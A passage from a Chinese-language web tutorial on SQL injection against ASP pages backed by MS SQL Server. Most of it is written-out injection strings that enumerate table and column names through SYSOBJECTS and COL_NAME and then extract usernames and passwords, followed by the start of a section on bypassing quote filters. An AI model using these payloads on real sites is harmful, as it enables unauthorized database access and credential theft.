| ND NAME NOT IN(''''''''))
得到第一个表名为info_files后，用下面语句得到第二个表名：
article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=''''U'''' AND STATUS>0 AND NAME NOT IN(''''info_files''''))
得到第二个表名为info_articles后，用下面语句得到第三个表名：
article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=''''U'''' AND STATUS>0 AND NAME NOT IN(''''info_files'''',''''info_articles''''))
假设得到第三个表名为info_users
使用下面语句得到info_users表中第一个字段的名称：
article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID(''''info_users''''),1)
使用下面语句得到info_users表中第二个字段名称：
article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID(''''info_users''''),2)
假设得到info_users表的结构为ID,username,password，那么，使用下面的语句得到第一个记录的username值：
article_show.asp?ID=(SELECT TOP 1 username FROM info_users)
使用下面语句得到第一个记录的password值：
article_show.asp?ID=(SELECT TOP 1 password FROM info_users)
使用下面的语句得到第一个记录的ID值：
article_show.asp?ID=(SELECT TOP 1 CHAR(115) %2B CAST(ID AS VARCHAR(2)) FROM info_users)
六、附加说明
也有很多开发者用过滤’号的方法来“防止”注入漏洞，但还是可以利用相关的函数，达到绕过程序限制的目的。举个例子来看看怎么改造这些语句：
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一页 | 
注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！ 本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网] 